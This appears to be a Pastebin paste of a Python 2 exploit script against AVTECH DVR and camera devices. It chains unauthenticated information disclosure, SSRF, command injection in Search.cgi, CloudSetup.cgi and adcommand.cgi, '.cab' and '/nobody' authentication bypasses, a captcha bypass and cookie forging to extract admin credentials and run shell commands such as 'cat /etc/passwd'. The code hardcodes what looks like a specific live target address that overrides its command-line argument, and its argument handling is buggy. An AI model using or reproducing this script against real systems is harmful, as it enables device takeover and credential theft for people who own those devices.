Advertisement
Guest User

Untitled

a guest
Sep 28th, 2017
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.43 KB | None | 0 0
  1. import sys
  2. import requests
  3. import base64
  4.  
  5. class avtech:
  6. AVTECH_BYP_NONE = 0
  7. AVTECH_BYP_CAB = 1
  8. AVTECH_BYP_NOBODY = 2
  9.  
  10. def __init__(self, addr, port):
  11. self.addr = "81.143.237.48"
  12. self.port = 8080
  13. self.s = requests.Session()
  14. self.auth = False
  15. self.authbyp_str = {self.AVTECH_BYP_NONE:'', self.AVTECH_BYP_CAB:'.cab&', self.AVTECH_BYP_NOBODY:'/nobody&'}
  16. self.authbyp = self.AVTECH_BYP_NONE
  17. self.username = ''
  18. self.password = ''
  19.  
  20. self.cabbyp = False
  21. self.nobodybyp = False
  22. self.firmware_version = ''
  23. self.product_type = ''
  24. self.product_id = ''
  25. self.mac_address = ''
  26.  
  27. def getUri(self, uri, param, bypass=False):
  28. if (bypass):
  29. return 'http://%s:%d/%s?%s%s'%(self.addr, self.port, uri, self.authbyp_str[self.authbyp], param)
  30. else:
  31. return 'http://%s:%d/%s?%s'%(self.addr, self.port, uri, param)
  32.  
  33. def setPwd(self, usr, pwd):
  34. self.username = usr
  35. self.password = pwd
  36.  
  37. # creates a valid cookie without logging in
  38. def setCookie(self):
  39. self.s.cookies['SSID'] = base64.b64encode('%s:%s'%(self.username,self.password))
  40. self.auth = True
  41.  
  42. # performs authentication with the provided user name and password using
  43. # the login=quick parameter, which bypass the captcha verification
  44. def login(self):
  45. self.s = requests.Session()
  46. r = self.s.get(self.getUri('/cgi-bin/nobody/VerifyCode.cgi', 'account=%s&login=quick'%(base64.b64encode('%s:%s'%(self.username,self.password)))))
  47. res = r.text.split()
  48. if (int(res[0]) == -35):
  49. #print 'Authentication failed with %s:%s'%(self.username,self.password)
  50. return False
  51. if (int(res[0]) == 0):
  52. #print 'Authentication succeeded with %s:%s'%(self.username,self.password)
  53. self.auth = True
  54. return True
  55. #else:
  56. # print 'Unknown response code: %d'%(int(res[0]))
  57. return False
  58.  
  59. # verifies whether the authentication bypass is working .cab or /nobody problem
  60. def checkBypass(self):
  61. if (self.auth):
  62. return 'Session is already authenticated, you do not have to bypass!'
  63. ret = ''
  64. greq = '&action=get&category=Account.*'
  65. # .cab check
  66. try:
  67. r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','.cab%s'%(greq)))
  68. if (len(r.text) > 0 and r.text[0] == '0'):
  69. ret += '.cab authentication bypass was successful, '
  70. self.authbyp = self.AVTECH_BYP_CAB
  71. self.cabbyp = True
  72. except:
  73. ret += '.cab authentication bypass was not successful, '
  74.  
  75. # /nobody check
  76. try:
  77. r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','/nobody%s'%(greq)))
  78. if (len(r.text) > 0 and r.text[0] == '0'):
  79. ret += '/nobody authentication bypass was successful'
  80. self.nobodybyp = True
  81. if (self.authbyp == self.AVTECH_BYP_NONE):
  82. self.authbyp = self.AVTECH_BYP_NOBODY
  83. except:
  84. ret += '/nobody authentication bypass was not successful'
  85. return ret
  86.  
  87. # retrieves account information after authentication
  88. def getAdminPwd(self):
  89. r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Account.*', True))
  90. for l in r.text.split():
  91. lp = l.split('=')
  92. if (len(lp) == 2):
  93. if (lp[0] == 'Account.User1.Username'):
  94. self.username = lp[1]
  95. elif (lp[0] == 'Account.User1.Password'):
  96. self.password = lp[1]
  97. break
  98. if (lp[0] == 'Account.User2.Username'):
  99. self.username = lp[1]
  100. elif (lp[0] == 'Account.User2.Password'):
  101. self.password = lp[1]
  102. break
  103. if (lp[0] == 'Account.User3.Username'):
  104. self.username = lp[1]
  105. elif (lp[0] == 'Account.User3.Password'):
  106. self.password = lp[1]
  107. break
  108.  
  109. # retrieves firmware version after authentication
  110. def getFwVersion(self):
  111. r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Properties.Firmware.*', False))
  112. print r.text
  113.  
  114. # retrieves login response after authentication
  115. def getLogin(self):
  116. r = self.s.get(self.getUri('/cgi-bin/guest/Login.cgi','rnd=0.5', False))
  117. print r.text
  118.  
  119. # CloudSetup.cgi command injection test
  120. def commandInjection(self, cmd):
  121. try:
  122. r = self.s.get(self.getUri('/cgi-bin/supervisor/CloudSetup.cgi','exefile=%s'%(cmd), False))
  123. return r.text
  124. except:
  125. print 'CloudSetup.cgi command injection test failed'
  126.  
  127. # adcommand.cgi command injection test
  128. def commandInjection2(self, cmd):
  129. data = 'DoShellCmd "strCmd=%s&"'%(cmd)
  130. r = self.s.post(self.getUri('/cgi-bin/supervisor/adcommand.cgi','', False), data=data)
  131. return r.text
  132.  
  133. # parses capability response
  134. def parseCapability(self, cap):
  135. for l in cap.split('\n'):
  136. ld = l.strip().split('=')
  137. if (len(ld)==2):
  138. if (ld[0] == 'Firmware.Version'):
  139. self.firmware_version = ld[1]
  140. elif (ld[0] == 'Product.Type'):
  141. self.product_type = ld[1]
  142. elif (ld[0] == 'Product.ID'):
  143. self.product_id = ld[1]
  144. elif (ld[0] == 'MACAddress'):
  145. self.mac_address = ld[1]
  146.  
  147. # unauthenticated information leakage
  148. def getCapability(self):
  149. r = self.s.get(self.getUri('/cgi-bin/nobody/Machine.cgi','action=get_capability', False))
  150. self.parseCapability(r.text)
  151. return r.text
  152.  
  153. # checks the availability of search.cgi (available only on DVR devices)
  154. def checkSearch(self):
  155. try:
  156. r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=scan', False))
  157. return r.text
  158. except:
  159. return ''
  160.  
  161. # unauthenticated SSRF using the search.cgi script (available only on DVR devices)
  162. def checkCgiQuery(self):
  163. try:
  164. r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==', False))
  165. if (len(r.text)>=4 and r.text[0:4] == '0\nOK'):
  166. return True
  167. else:
  168. return False
  169. except:
  170. return False
  171.  
  172. # unauthenticated command injection in the search.cgi script (available only on DVR devices)
  173. def searchCmdInjection(self, command):
  174. cmdstr = (' ;%s>$(ps|grep Search.cgi|grep -v grep|head -n 1|awk \'{print "/tmp/"$1".log"}\';)'%(command)).replace(' ', '%20')
  175. uri = self.getUri('cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%s&password=admin'%(cmdstr),False)
  176. print uri
  177. r = self.s.get(uri)
  178. return r.text
  179.  
  180. #------------------------------------
  181.  
  182. if __name__ == '__main__':
  183. if (len(sys.argv) < 2):
  184. print 'avtech_nas_pc.py addr [port]'
  185. addr = sys.argv[0]
  186. port = 80
  187. if (len(sys.argv) == 3):
  188. port = int(sys.argv[2])
  189.  
  190. avtech = avtech(addr, port)
  191.  
  192. # unatuhenticated information disclosure
  193. cap = avtech.getCapability()
  194. print cap
  195. avtech.parseCapability(cap)
  196. print '%s,%s,%s,%s'%(avtech.firmware_version, avtech.product_type, avtech.product_id, avtech.mac_address)
  197.  
  198. # check unauthenticated SSRF vulnerability
  199. sr = avtech.checkSearch()
  200. if (len(sr) > 0 and sr[0] == '0'):
  201. cgi_query = avtech.checkCgiQuery()
  202. if (cgi_query):
  203. print 'SSRF was successful'
  204. else:
  205. print 'SSRF was not successful'
  206.  
  207. resp = avtech.searchCmdInjection('XmlAp r Account.User1.Username')
  208. lines = resp.split('\n')
  209. if (len(lines) >= 3):
  210. pwd = lines[2].strip()
  211. print 'User1 name: %s'%(pwd)
  212. avtech.username = pwd
  213.  
  214. resp = avtech.searchCmdInjection('XmlAp r Account.User1.Password')
  215. lines = resp.split('\n')
  216. if (len(lines) >= 3):
  217. pwd = lines[2].strip()
  218. print 'User1 password: %s'%(pwd)
  219. avtech.password = pwd
  220.  
  221. # authentication bypas
  222. print 'Authentication bypass check'
  223. print avtech.checkBypass()
  224. print 'Try to get admin password'
  225. print avtech.getAdminPwd()
  226. default = False
  227. # try default password
  228. if (avtech.password == ''):
  229. avtech.setPwd('admin', 'admin')
  230. default = True
  231. # login with credentials using captch bypass
  232. avtech.login()
  233. # if captch bypass was not possible, but we have a password, set cookie manually
  234. if (not avtech.auth and not default and avtech.password != ''):
  235. avtech.setCookie()
  236.  
  237. # check issues after authentication
  238. if (avtech.auth):
  239. print 'Get admin password'
  240. avtech.getAdminPwd()
  241. print 'Get login'
  242. avtech.getLogin()
  243. print 'Get fw version'
  244. avtech.getFwVersion()
  245. print 'cloud command injection'
  246. print avtech.commandInjection('ps')
  247. print 'adcommand command injection'
  248. print avtech.commandInjection2('cat /etc/passwd')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement